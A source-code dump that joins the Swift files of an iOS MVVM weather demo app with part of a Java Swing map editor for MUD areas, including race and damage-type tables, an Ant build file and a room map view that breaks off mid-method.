override func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { return 100 } override func prepare(for segue: UIStoryboardSegue, sender: Any?) { if segue.identifier == "AddWeatherCityViewController"{ prepareSegueForAddWeather(segue: segue) }else if segue.identifier == "SettingsViewController"{ prepareSegueForSettings(segue: segue) } else if segue.identifier == "WeatherDetailsViewController"{ prepareSegueForWeatherDetails(segue: segue) } } private func prepareSegueForWeatherDetails(segue:UIStoryboardSegue){ guard let destination = segue.destination as? UINavigationController else { fatalError("Controller not found!") } guard let weatherDetails = destination.viewControllers.first as? WeatherDetailsViewController else{ fatalError("Child controller not found") } if let rowId = self.tableView.indexPathForSelectedRow?.row{ weatherDetails.vm = self.weatherList.getModel(at: rowId) } } private func prepareSegueForAddWeather(segue:UIStoryboardSegue){ guard let destination = segue.destination as? UINavigationController else { fatalError("Controller not found!") } guard let addWeatherController = destination.viewControllers.first as? AddWeatherCityViewController else{ fatalError("Child controller not found") } addWeatherController.addweatherDelegate = self } private func prepareSegueForSettings(segue:UIStoryboardSegue){ guard let destination = segue.destination as? UINavigationController else { fatalError("Controller not found!") } guard let settingsController = destination.viewControllers.first as? SettingsViewController else{ fatalError("Child controller not found") } settingsController.delegate = self } } <file_sep>// // AppDelegate.swift // GoodWeatherApp // // Created by Ayemere Odia on 10/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import UIKit @UIApplicationMain class AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { UINavigationBar.appearance().barTintColor = UIColor.init(displayP3Red: 52/255, green: 152/255, blue: 219/255, alpha: 1.0) UIBarButtonItem.appearance().tintColor = .gray UINavigationBar.appearance().titleTextAttributes = [NSAttributedString.Key.foregroundColor: UIColor.groupTableViewBackground] UINavigationBar.appearance().largeTitleTextAttributes = [NSAttributedString.Key.foregroundColor: UIColor.darkGray] setupDefaultSetting() return true } private func setupDefaultSetting(){ let userDefault = UserDefaults.standard if let res = userDefault.value(forKey: "unit") as? String{ userDefault.set(res, forKey: "unit") }else{ userDefault.set(Unit.celcius.rawValue, forKey: "unit") } } } <file_sep>// // WeatherDetailsViewController.swift // GoodWeatherApp // // Created by <NAME> on 12/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation import UIKit class WeatherDetailsViewController : UIViewController { @IBOutlet weak var cityName:UILabel! @IBOutlet weak var max_Temp:UILabel! @IBOutlet weak var min_Temp:UILabel! var vm: WeatherViewModel? override func viewDidLoad() { super.viewDidLoad() // if let vm = vm { // cityName.text = vm.name.value // max_Temp.text = "\(vm.currentTemperature.temperatureMax.value.formatAsDeg) °" // min_Temp.text = "\(vm.currentTemperature.temperatureMin.value.formatAsDeg)" // } setUpViewBinds() } func setUpViewBinds(){ if let vm = self.vm { vm.name.bindTo(listener: {self.cityName.text = $0}) vm.currentTemperature.temperatureMax.bindTo(listener: {self.max_Temp.text = $0.formatAsDeg}) vm.currentTemperature.temperatureMin.bindTo(listener: {self.min_Temp.text = $0.formatAsDeg}) } DispatchQueue.main.asyncAfter(deadline: .now() + 2.0){ self.vm?.name.value = "Dallas" } } } <file_sep>// // SettingsViewModel.swift // GoodWeatherApp // // Created by <NAME> on 11/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation enum Unit:String,CaseIterable { case celcius = "metric" case fahrenheit = "imperial" } extension Unit{ var displayName : String { get { switch(self) { case .celcius: return "Celcius" case .fahrenheit: return "Fahrenheit" } } } } struct SettingsViewModel { let unit = Unit.allCases private var _selectUnit = Unit.fahrenheit var selectedUnit : Unit{ get{ let userDeflt = UserDefaults.standard if let valueRet = userDeflt.value(forKey: "unit") as? String{ return Unit(rawValue: valueRet)! } return _selectUnit } set { let userDeflt = UserDefaults.standard userDeflt.set(newValue.rawValue, forKey: "unit") } } } <file_sep>// // WeatherDataSource.swift // GoodWeatherApp // // Created by <NAME> on 13/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation import UIKit class WeatherDataSource : NSObject,UITableViewDataSource { let cellIdentifier:String = "WeatherCell" private var weatherListVM:WeatherListViewModel init( weatherListVM:WeatherListViewModel) { //self.cellIdentifier = cellIdentifier self.weatherListVM = weatherListVM } func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return self.weatherListVM.weatherListViewModel.count } func numberOfSections(in tableView: UITableView) -> Int { return 1 } func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { guard let cell = tableView.dequeueReusableCell(withIdentifier: self.cellIdentifier, for: indexPath) as? WeatherCell else { fatalError("cell not found") } let vm = self.weatherListVM.getModel(at: indexPath.row) cell.configure(vm) return cell } } <file_sep>// // Double+Extensions.swift // GoodWeatherApp // // Created by Ayemere Odia on 11/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation extension Double { var formatAsDeg:String { return String(format:"%0.f°",self) } } <file_sep>// // AddWeatherCityViewController.swift // GoodWeatherApp // // Created by <NAME> on 10/04/2020. // Copyright © 2020 <NAME> . All rights reserved. // import Foundation import UIKit protocol AddWeatherDelegate { func AddWeatherDidSave(vm:WeatherViewModel) } class AddWeatherCityViewController: UIViewController { var addCityViewModel = AddCityViewModel() @IBOutlet weak var cityNameTextField:BindingTextField!{ didSet{ cityNameTextField.Binding(callback:{ self.addCityViewModel.city = $0}) } } @IBOutlet weak var zipCode:BindingTextField!{ didSet{ zipCode.Binding(callback:{ self.addCityViewModel.zipCode = $0}) } } @IBOutlet weak var nameOfState:BindingTextField!{ didSet{ nameOfState.Binding(callback:{ self.addCityViewModel.state = $0}) } } override func viewDidLoad(){ super.viewDidLoad() } var addweatherDelegate:AddWeatherDelegate? @IBAction func saveCityPressed(){ print(self.addCityViewModel) if let cityName = cityNameTextField.text { let url = URL(string: "https://api.openweathermap.org/data/2.5/weather?q=\(cityName)&appid=64ac03ccd32ad98626331333f7636202&units=metric")! let resource = Resource<WeatherViewModel>(url:url){data in let weatherVM = try? JSONDecoder().decode(WeatherViewModel.self, from: data) return weatherVM } WebService().load(resource: resource){ [weak self] result in if let weatherVM = result { if let delegate = self?.addweatherDelegate{ delegate.AddWeatherDidSave(vm: weatherVM) self?.dismiss(animated: true, completion: nil) } } } } } @IBAction func close(){ self.dismiss(animated: true, completion: nil) } } <file_sep>// // TableViewDataSource.swift // GoodWeatherApp // // Created by <NAME> on 13/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation import UIKit class TableViewDataSource<CellType,ViewModel> :NSObject, UITableViewDataSource where CellType :UITableViewCell { func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { self.items.count } func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { guard let cell = tableView.dequeueReusableCell(withIdentifier: self.cellIdentifier, for: indexPath) as? CellType else{ fatalError("cell not found") } let vm = self.items[indexPath.row] self.configureCell(cell,vm) return cell } let cellIdentifier:String var items:[ViewModel] let configureCell: (CellType, ViewModel) -> () init(cellIdentifier:String, items:[ViewModel], configure:@escaping (CellType, ViewModel) -> ()){ self.cellIdentifier = cellIdentifier self.items = items self.configureCell = configure } func updateItem(_ items:[ViewModel]){ self.items = items } } <file_sep>// // AddCityViewModel.swift // GoodWeatherApp // // Created by <NAME> on 12/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation struct AddCityViewModel { var city: String = "" var state: String = "" var zipCode:String = "" private func latestValue(){ print("new city value: \(city)") print("new state value: \(state)") print("new zipCode value: \(zipCode)") } init() { latestValue() } } <file_sep>// // WeatherCell.swift // GoodWeatherApp // // Created by <NAME> on 10/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import Foundation import UIKit class WeatherCell: UITableViewCell { @IBOutlet weak var cityName:UILabel! @IBOutlet weak var temperature:UILabel! func configure(_ vm: WeatherViewModel){ self.cityName.text = vm.name.value self.temperature.text = "\(vm.currentTemperature.temperature.value.formatAsDeg)" } } <file_sep># GoodWeatherApp This good weather app was built to demonstrate the fundamentals of MVVM design in iOS <file_sep>// // WeatherListViewModel.swift // GoodWeatherApp // // Created by <NAME> on 10/04/2020. // Copyright © 2020 <NAME> . All rights reserved. // import Foundation class WeatherListViewModel { private(set) var weatherListViewModel = [WeatherViewModel]() func addWeatherViewModel(_ vm:WeatherViewModel){ self.weatherListViewModel.append(vm) } func updateUnit(to: Unit){ switch to { case .celcius: toCelcius() case .fahrenheit: toFahrenheit() } } func toCelcius(){ self.weatherListViewModel = self.weatherListViewModel.map { vm in var weatherModel = vm weatherModel.currentTemperature.temperature.value = (weatherModel.currentTemperature.temperature.value - 32) * 5/9 return weatherModel } } func toFahrenheit(){ self.weatherListViewModel = self.weatherListViewModel.map { vm in var weatherModel = vm weatherModel.currentTemperature.temperature.value = (weatherModel.currentTemperature.temperature.value * 9/5) + 32 return weatherModel } } func numberOfRows(section:Int)->Int{ return self.weatherListViewModel.count } func getModel(at indexPath:Int)->WeatherViewModel{ return self.weatherListViewModel[indexPath] } } // MARK: - Type Eraser class Dynamic<T>: Decodable where T: Decodable { typealias Listener = (T)->() var listener:Listener? var value : T { didSet { listener?(value) } } init(_ value:T){ self.value = value } func bindTo(listener: @escaping Listener){ self.listener = listener self.listener?(self.value) } private enum CodingKeys: CodingKey { case value } } struct WeatherViewModel:Decodable { var currentTemperature:TemperatureViewModel let name:Dynamic<String> private enum CodingKeys:String,Decodable,CodingKey{ case currentTemperature = "main" case name } init(from decoder:Decoder) throws { let container = try decoder.container(keyedBy:CodingKeys.self) name = Dynamic(try container.decode(String.self, forKey: .name)) currentTemperature = try container.decode(TemperatureViewModel.self, forKey: .currentTemperature) } } struct TemperatureViewModel: Decodable { var temperature:Dynamic<Double> var temperatureMin:Dynamic<Double> var temperatureMax:Dynamic<Double> private enum CodingKeys:String,Decodable,CodingKey{ case temperature = "temp" case temperatureMin = "temp_min" case temperatureMax = "temp_max" } init(from decoder:Decoder) throws { let container = try decoder.container(keyedBy:CodingKeys.self) temperature = Dynamic(try container.decode(Double.self, forKey: .temperature)) temperatureMin = Dynamic(try container.decode(Double.self, forKey: .temperatureMin)) temperatureMax = Dynamic(try container.decode(Double.self, forKey: .temperatureMax)) } }
ad13c62fa62965ac1b3b69df9e206f787e030000
[ "Swift", "Markdown" ]
13
Swift
ayemereodia2/GoodWeatherApp
4d6a074d03fb16bd5b67268e192f9dc4595210cb
735c167e65d5dd10c6ca597dc7a3ac56edd3d255
refs/heads/master
<repo_name>melikekilic/elifin-okuzu<file_sep>/README.md # elifin-okuzu INSTALLATION to install requirements for project type pip install -r requirements.txt on terminal. Etymological dictionary software <file_sep>/elifinokuzu/comments/models.py import datetime from django.db import models from django.conf import settings from django.utils import timezone class Comment_To_Node(models.Model): node = models.ForeignKey('dictionary.Node', on_delete=models.CASCADE, related_name='comments_node') user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, null=True) text = models.TextField() created_date = models.DateTimeField(default=timezone.now) approved_comment = models.BooleanField(default=False) def approve(self): self.approved_comment = True self.save() def __str__(self): return str(self.node) + ": " + str(self.text) class Comment_To_Edge(models.Model): edge = models.ForeignKey('dictionary.Edge', on_delete=models.CASCADE, related_name='comments_edge') user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, null=True) text = models.TextField() created_date = models.DateTimeField(default=timezone.now) approved_comment = models.BooleanField(default=False) def approve(self): self.approved_comment = True self.save() def __str__(self): return str(self.edge) + ": " + str(self.text) <file_sep>/elifinokuzu/comments/admin.py from django.contrib import admin from .models import Comment_To_Node, Comment_To_Edge admin.site.register(Comment_To_Node) admin.site.register(Comment_To_Edge)<file_sep>/elifinokuzu/comments/views.py from django.shortcuts import render, get_object_or_404, redirect from .forms import CommentFormForNode, CommentFormForEdge from dictionary.models import Node, Edge def add_comment_to_node(request, id): node = get_object_or_404(Node.objects.filter(pk=id)) if request.method == "POST": form = CommentFormForNode(request.POST) if form.is_valid(): comment = form.save(commit=False) comment.node = node comment.user = request.user comment.save() return redirect('node_detail', node.id) else: form = CommentFormForNode() return render(request, 'comments/add_comment_to_node.html', {'form': form}) def add_comment_to_edge(request, id): edge = get_object_or_404(Edge.objects.filter(pk=id)) if request.method == "POST": form = CommentFormForEdge(request.POST) if form.is_valid(): comment = form.save(commit=False) comment.edge = edge comment.user = request.user comment.save() return redirect('edge_detail', edge.id) else: form = CommentFormForEdge() return render(request, 'comments/add_comment_to_edge.html', {'form': form}) <file_sep>/elifinokuzu/templates/search.html {% extends "base.html" %} {% block title %} Search Page {% endblock %} {% block content %} {% if form %} <form method="post"> {% csrf_token %} {{ form.as_p }} <button type="submit">Search</button> </form> {% endif %} {% if searched_word %} {%for gt in searched_word %} <h4>{{gt}}</h4> {% for edge in edges %} {% if gt == edge.source %} <span>İncoming</span> {% endif %} {% if gt == edge.destination %} <span>Outgoing</span> {% endif %} {% endfor %} {% endfor %} {% endif %} {% endblock %} <file_sep>/elifinokuzu/templates/accounts/dashboard.html {% extends 'base.html' %} {% load i18n %} {% block content %} <h2>{% trans 'Welcome' %} {{ user.username }}</h2> {% trans 'Name & Surname:' %} {{ user.first_name }} {{ user.last_name }} <br> {% trans 'User ID:' %} {{ user.id }} <br> {% trans 'Username:' %} {{ user.username }} <br> {% trans 'eMail Address:' %} {{ user.email }} <br> {% trans 'Last Login:' %} {{ user.last_login }} <br> {% trans 'Date Joined:' %} {{ user.date_joined }} {% endblock %} <file_sep>/elifinokuzu/reports/views.py from django.shortcuts import render, redirect from reports.forms import ReportForm from django.urls import reverse def reportdone(request): return render(request, "reports/reportdone.html") def report(request): if request.method == "POST": form = ReportForm(request.POST) if form.is_valid(): model_instance = form.save(commit=False) model_instance.save() return redirect(reverse("reportdone")) else: form = ReportForm() return render(request, 'reports/report.html', {'form': form})<file_sep>/elifinokuzu/comments/forms.py from django import forms from .models import Comment_To_Node, Comment_To_Edge #Node, Edge from captcha.fields import ReCaptchaField class CommentFormForNode(forms.ModelForm): captcha = ReCaptchaField() class Meta: model = Comment_To_Node fields = ('text',) class CommentFormForEdge(forms.ModelForm): captcha = ReCaptchaField() class Meta: model = Comment_To_Edge fields = ('text',) <file_sep>/elifinokuzu/reports/models.py from django.db import models class Issue(models.Model): url = models.CharField(max_length=255) explantation = models.TextField(max_length=2000) def __str__(self): return self.url
e46beb224480401c2a28ca8ff10adf2e49df2053
[ "Markdown", "Python", "HTML" ]
9
Markdown
melikekilic/elifin-okuzu
a4909f370ea3ab883ea04de637664644892fbad4
9559e9d8608952b32c75f87d4a44f56896ecd7a7
refs/heads/master
<repo_name>georgefrick/mafia<file_sep>/src/net/s5games/mafia/model/Race.java package net.s5games.mafia.model; public class Race { String name; boolean isPcRace; String movementMsg; int actFlags; int affectedByFlags; int affectedBy2Flags; int offensiveFlags; int immunityFlags; int resistanceFlags; int vulnerableFlags; int formFlags; int partsFlags; public Race(String n) { name = n; isPcRace = false; movementMsg = "-walks-"; actFlags = 0; affectedByFlags = 0; affectedBy2Flags = 0; offensiveFlags = 0; immunityFlags = 0; resistanceFlags = 0; vulnerableFlags = 0; formFlags = 0; partsFlags = 0; } public void setPcRace(boolean ispcrace) { isPcRace = ispcrace; } public void setMovementMessage(String newMsg) { movementMsg = newMsg; } public void setActFlags(int newAct) { actFlags = newAct; } public void setAffectedByFlags(int newAct) { affectedByFlags = newAct; } public void setAffectedBy2Flags(int newAct) { affectedBy2Flags = newAct; } public void setOffensiveFlags(int newAct) { offensiveFlags = newAct; } public void setImmunityFlags(int newAct) { immunityFlags = newAct; } public void setResistanceFlags(int newAct) { resistanceFlags = newAct; } public void setVulnerableFlags(int newAct) { vulnerableFlags = newAct; } public void setFormFlags(int newAct) { formFlags = newAct; } public void setPartsFlags(int newAct) { partsFlags = newAct; } public boolean isPcRace() { return isPcRace; } public String getMovementMessage() { return movementMsg; } public int getActFlags() { return actFlags; } public int getAffectedByFlags() { return affectedByFlags; } public int getAffectedBy2Flags() { return affectedBy2Flags; } public int getOffensiveFlags() { return offensiveFlags; } public int getImmunityFlags() { return immunityFlags; } public int getResistanceFlags() { return resistanceFlags; } public int getVulnerableFlags() { return vulnerableFlags; } public int getForm() { return formFlags; } public int getParts() { return partsFlags; } public String getName() { return name; } public String toString() { return name; } public void PrintToPrompt() { System.out.println("Race: " + name); System.out.println("--------------------------"); System.out.print("Is PC race? "); if (isPcRace()) System.out.println("Yes"); else System.out.println("No"); System.out.println("Movement Message: " + getMovementMessage()); System.out.println("Act Flags : " + Integer.toString(getActFlags())); System.out.println("Affected Flags : " + Integer.toString(getAffectedByFlags())); System.out.println("Affected2 Flags : " + Integer.toString(getAffectedBy2Flags())); System.out.println("Offensive Flags : " + Integer.toString(getOffensiveFlags())); System.out.println("Immunity Flags : " + Integer.toString(getImmunityFlags())); System.out.println("Resistance Flags: " + Integer.toString(getResistanceFlags())); System.out.println("Vulnerable Flags: " + Integer.toString(getVulnerableFlags())); System.out.println("Form Flags : " + Integer.toString(getForm())); System.out.println("Parts Flags : " + Integer.toString(getParts())); } }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/model/DamTypeTable.java /* * <NAME>, Area Editor project, December 2002. */ package net.s5games.mafia.model; import javax.swing.*; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.InputStreamReader; import java.util.Collection; import java.util.Vector; public class DamTypeTable { ClassLoader loader; protected Collection<String> damTypes; boolean loaded; protected FileInputStream inStream; protected BufferedReader buf; protected boolean open; public DamTypeTable() { loaded = false; loader = ClassLoader.getSystemClassLoader(); } public void loadDamTypeTable(String file) { // File inputFile = new File(file); open = false; try // Load the race table here... { //inStream = new FileInputStream( inputFile ); buf = new BufferedReader(new InputStreamReader(loader.getResource(file).openStream())); open = true; damTypes = new Vector<String>(); readTable(); loaded = true; } catch (FileNotFoundException e) { System.out.println("Bad dam type filename!"); open = false; loaded = false; } catch (java.io.IOException ex) { System.out.println("no dam type file!"); open = false; loaded = false; } } // name pcrace msg act aff aff2 off imm res vuln form parts private void readTable() { String temp = getLine(); while (temp != null && !temp.startsWith("$")) { damTypes.add(temp); temp = getLine(); } } private String getLine() { if (!open) return null; try { return buf.readLine(); } catch (Exception e) { System.out.println("Returning null from getLine()"); return null; } } public boolean isDamType(String s) { return s != null && damTypes.contains(s.toLowerCase()); } public String getDefaultType() { if( damTypes.isEmpty()) { return "default hit"; } else { return damTypes.iterator().next(); } } public JComboBox getDamTypeComboBox() { return new JComboBox(damTypes.toArray(new String[damTypes.size()])); } }<file_sep>/aeditor_stillrom/build.xml <?xml version="1.0" encoding="UTF-8"?> <project name="MAFIA" default="main build" basedir="."> <target name="init"> <property name="bin" value="bin"/> <property name="src" value="src"/> <property name="resource" value="resource"/> <property name="jarfile" value="mafia.jar"/> </target> <target name="main build"> <antcall target="clean"/> <antcall target="compile"/> <antcall target="jar"/> <echo message="Compiling editor"/> </target> <target name="clean" depends="init"> <delete dir="${bin}/mafia"/> <delete dir="${bin}/net"/> <delete dir="${jarfile}"/> </target> <target name="compile" depends="clean"> <javac srcdir="${src}" destdir="${bin}"> </javac> </target> <target name="jar" depends="compile"> <jar destfile="${jarfile}" basedir="${bin}" manifest="MainClass.txt" /> </target> <target name="run" depends="init, main build"> <java classname="net.s5games.mafia.AreaEditor" fork="true"> <classpath> <path location="${jarfile}" /> </classpath> </java> </target> </project> <file_sep>/README.md mafia ===== Diku, Rom, Animud Area Editor I wrote and worked on this mostly in the years 2002-2004. After that I made tweaks and used it to experiment with Java code from time to time. This is a Swing implementation of an area editor for Roms, that could easily work for Diku or any other type of mud with some modifications. Work did begin on forming a proper layer of abstraction. You should be able to separate some of the area behavior and provide an implementation for the services that depends on the type of mud area at runtime. This code is provided as is, though emails and messages about it are welcome. You can play Animud which is still running, but visiting https://animud.net or directly via telnet at animud.net:6667 Happy Mudding/Building! :-) <file_sep>/src/net/s5games/mafia/ui/view/roomView/MapView.java // <NAME> // MapView.java // Area Editor Project, Spring 2002 // // This class in an interactive map for editing an model. It attempts to // represent an model visually and allow for a builder to edit an model // by interacting with a graphical map. package net.s5games.mafia.ui.view.roomView; import net.s5games.mafia.model.MudConstants; import net.s5games.mafia.ui.view.EditorView; import net.s5games.mafia.model.Area; import net.s5games.mafia.model.Room; import net.s5games.mafia.model.MudExit; import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.util.Collection; import java.util.ArrayList; public class MapView extends JPanel { private Area data; private Room currentRoom; protected Room temp; protected Room mouseRoom; protected Collection<Room> visited; protected EditorView myParent; protected Image up1, up2, down1, down2, mImage1, oImage1, mImage2, oImage2; ClassLoader loader; protected int zoom; public static final int ZOOM_1X = 1; public final static int ZOOM_2X = 2; protected int rSize = 15, eSize = 7; //NOTE: rSize must be ODD, esize too. protected int goSize = rSize + eSize; protected int longSize = goSize * 2; protected int shortSize = goSize; protected int maxX = 1000 - rSize - eSize; protected int maxY = 1000 - rSize - eSize; protected int sizeA = 15, linkA = 7; protected int sizeB = 9, linkB = 3; protected int winWidth, winHeight; protected Color fadedCyan = new Color(204, 204, 204); protected Color currentRoomColor = fadedCyan; protected Color currentRoomBorder = Color.red; protected Color roomColor = Color.white; protected Color roomBorder = Color.black; protected Color exitColor = Color.blue; protected Color bgColor = Color.white; JPopupMenu popup; JMenuItem m1; JMenuItem m2; JMenuItem mName; JMenu digMenu; JMenuItem digEast; JMenuItem digNorth; JMenuItem digSouth; JMenuItem digWest; public MapView(Area a, EditorView p) { super(); data = a; myParent = p; visited = new ArrayList<Room>(); winWidth = 1200; winHeight = 1200; setPreferredSize(new Dimension(winWidth, winHeight)); zoom = ZOOM_2X; popup = new JPopupMenu(); mName = new JMenuItem("RoomName"); mName.setEnabled(false); m1 = new JMenuItem("Jump-To"); m1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (mouseRoom != null) myParent.update(mouseRoom.getVnum()); } }); m2 = new JMenuItem("Delete"); m2.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (mouseRoom != null) { RoomView mView = (RoomView) myParent; mView.update(mouseRoom.getVnum()); mView.deleteRoom(); } } }); popup.add(mName); popup.addSeparator(); popup.add(m1); popup.add(m2); digMenu = new JMenu("Dig New Room"); digNorth = new JMenuItem("North"); digNorth.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (mouseRoom != null) { net.s5games.mafia.ui.view.roomView.RoomView mView = (net.s5games.mafia.ui.view.roomView.RoomView) myParent; mView.update(mouseRoom.getVnum()); mView.digRoom(0); } } }); digSouth = new JMenuItem("South"); digSouth.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (mouseRoom != null) { net.s5games.mafia.ui.view.roomView.RoomView mView = (net.s5games.mafia.ui.view.roomView.RoomView) myParent; mView.update(mouseRoom.getVnum()); mView.digRoom(2); } } }); digEast = new JMenuItem("East"); digEast.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (mouseRoom != null) { net.s5games.mafia.ui.view.roomView.RoomView mView = (net.s5games.mafia.ui.view.roomView.RoomView) myParent; mView.update(mouseRoom.getVnum()); mView.digRoom(1); } } }); digWest = new JMenuItem("West"); digWest.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (mouseRoom != null) { RoomView mView = (net.s5games.mafia.ui.view.roomView.RoomView) myParent; mView.update(mouseRoom.getVnum()); mView.digRoom(3); } } }); digMenu.add(digNorth); digMenu.add(digSouth); digMenu.add(digEast); digMenu.add(digWest); popup.add(digMenu); MouseListener popupListener = new PopupListener(); this.addMouseListener(popupListener); this.addKeyListener(new MapKeyListener()); loader = ClassLoader.getSystemClassLoader(); up1 = getToolkit().getImage(loader.getResource("up6.gif")); up2 = getToolkit().getImage(loader.getResource("up12.gif")); down1 = getToolkit().getImage(loader.getResource("down6.gif")); down2 = getToolkit().getImage(loader.getResource("down12.gif")); mImage1 = getToolkit().getImage(loader.getResource("mob6.gif")); mImage2 = getToolkit().getImage(loader.getResource("mob12.gif")); oImage1 = getToolkit().getImage(loader.getResource("obj6.gif")); oImage2 = getToolkit().getImage(loader.getResource("obj12.gif")); } public int getShortSize() { return shortSize; } public void update(int vnum, int newZoom) { zoom = newZoom; currentRoom = data.getRoom(vnum); update(); } public void update(int vnum) { currentRoom = data.getRoom(vnum); update(); } public void update() { if (zoom == ZOOM_1X) { rSize = sizeB; eSize = linkB; } else { rSize = sizeA; eSize = linkA; } goSize = rSize + eSize; longSize = goSize * 2; shortSize = goSize; if (data == null) return; if (currentRoom == null) currentRoom = data.getRoom(data.getFirstRoomVnum()); } private void recurseRooms(Room t, int x, int y, Graphics g) { if (t == null || x < 0 || y < 0 || x >= maxX || y >= maxY) return; boolean sNorth = false, lNorth = false; Room north = t.getNorth(); if (north != null && !visited.contains(north)) { if (!isAt(x, y - longSize) && !isAt(x, y - shortSize)) { drawRoomAt(north, x, y - longSize, g); visited.add(north); north.setXY(x, y - longSize); lNorth = true; } else if (!isAt(x, y - shortSize)) { drawRoomAt(north, x, y - shortSize, g); visited.add(north); north.setXY(x, y - shortSize); sNorth = true; } else t.getNorth().setXY(-1, -1); } boolean sEast = false, lEast = false; Room east = t.getEast(); if (east != null && !visited.contains(east)) { if (!isAt(x + longSize, y) && !isAt(x + shortSize, y)) { drawRoomAt(east, x + longSize, y, g); visited.add(east); east.setXY(x + longSize, y); lEast = true; } else if (!isAt(x + shortSize, y)) { drawRoomAt(east, x + shortSize, y, g); visited.add(east); east.setXY(x + shortSize, y); sEast = true; } else t.getEast().setXY(-1, -1); } boolean sSouth = false, lSouth = false; Room south = t.getSouth(); if (south != null && !visited.contains(south)) { if (!isAt(x, y + longSize) && !isAt(x, y + shortSize)) { drawRoomAt(south, x, y + longSize, g); visited.add(south); south.setXY(x, y + longSize); lSouth = true; } else if (!isAt(x, y + shortSize)) { drawRoomAt(south, x, y + shortSize, g); visited.add(south); south.setXY(x, y + shortSize); sSouth = true; } else t.getSouth().setXY(-1, -1); } boolean sWest = false, lWest = false; Room west = t.getWest(); if (west != null && !visited.contains(west)) { if (!isAt(x - longSize, y) && !isAt(x - shortSize, y)) { drawRoomAt(west, x - longSize, y, g); visited.add(west); west.setXY(x - longSize, y); lWest = true; } else if (!isAt(x - shortSize, y)) { drawRoomAt(west, x - shortSize, y, g); visited.add(west); west.setXY(x - shortSize, y); sWest = true; } else t.getWest().setXY(-1, -1); } if (lNorth) recurseRooms(north, x, y - longSize, g); else if (sNorth) recurseRooms(north, x, y - shortSize, g); if (lEast) recurseRooms(east, x + longSize, y, g); else if (sEast) recurseRooms(east, x + shortSize, y, g); if (lSouth) recurseRooms(south, x, y + longSize, g); else if (sSouth) recurseRooms(south, x, y + shortSize, g); if (lWest) recurseRooms(west, x - longSize, y, g); else if (sWest) recurseRooms(west, x - shortSize, y, g); } private boolean isAt(int x, int y) { for( Room room : visited) { if( room.getX() == x && room.getY() == y) { return true; } } return false; } public void paintComponent(Graphics g) { g.setColor(Color.white); g.fillRect(0, 0, winWidth, winHeight); if (data == null) return; if (currentRoom == null) { if (data.getFirstRoomVnum() == -1) return; currentRoom = data.getRoom(data.getFirstRoomVnum()); } int currX = maxX / 2; int currY = maxY / 2; /* * Enter recursion, with the middle pixel of the panel and the data * pointed at the starting room */ visited.clear(); visited.add(currentRoom); currentRoom.setXY(currX, currY); drawRoomAt(currentRoom, currX, currY, g); recurseRooms(currentRoom, currX, currY, g); for( Room temp : visited) { Room north = temp.getNorth(); if (north != null && north.getX() != -1 && north.getY() != -1 && visited.contains(north)) { g.setColor(getExitColor(temp, 0)); g.drawLine(temp.getX(), temp.getY() - (rSize / 2) -1, temp.getX(), north.getY() + (rSize / 2) +2); } Room west = temp.getWest(); if (west != null && west.getX() != -1 && west.getY() != -1 && visited.contains(west)) { g.setColor(getExitColor(temp, 3)); g.drawLine(temp.getX() - (rSize / 2) -1, temp.getY(), west.getX() + (rSize / 2) +2, temp.getY()); } } } private Color getExitColor(Room t, int dir) { MudExit temp = t.getExit(dir); if (temp.isSet(MudConstants.EXIT_WALL)) return Color.black; else if (temp.isSet(MudConstants.EXIT_LOCKED)) return Color.red; else if (temp.isSet(MudConstants.EXIT_ISDOOR)) return Color.blue; else return Color.green; } /* * given the CENTER of a room and the room information, will draw that room. */ private void drawRoomAt(Room r, int x, int y, Graphics g) { int myX, myY; // Get starting point for room. myX = x - (rSize / 2); myY = y - (rSize / 2); // Fill the current room in if (r == currentRoom) { g.setColor(currentRoomColor); g.fillRect(myX, myY, rSize + 1, rSize + 1); } g.setColor(Color.black); g.drawRect(myX, myY, rSize, rSize); if (zoom == ZOOM_2X) { if (r.getUp() != null) g.drawImage(up1, myX + rSize - 6, myY + 1, null); if (r.getDown() != null) g.drawImage(down1, myX + 1, myY + rSize - 6, null); if (r.getMobiles().size() != 0) g.drawImage(mImage1, myX + 1, myY + 1, null); if (r.getObjects().size() != 0) g.drawImage(oImage1, myX + rSize - 6, myY + rSize - 6, null); } } class PopupListener extends MouseAdapter { public void mousePressed(MouseEvent e) { maybeShowPopup(e); } public void mouseReleased(MouseEvent e) { maybeShowPopup(e); } private void maybeShowPopup(MouseEvent e) { requestFocus(); if (e.isPopupTrigger()) { for( Room room : visited) { // System.out.println("Room at: " + temp.getX() + " / " + temp.getY() + "."); if ((e.getX() >= room.getX() - (rSize / 2)) && (e.getX() <= room.getX() + (rSize / 2)) && (e.getY() >= room.getY() - (rSize / 2)) && (e.getY() <= room.getY() + (rSize / 2))) { if (room.getNorth() != null) digNorth.setEnabled(false); else digNorth.setEnabled(true); if (room.getSouth() != null) digSouth.setEnabled(false); else digSouth.setEnabled(true); if (room.getEast() != null) 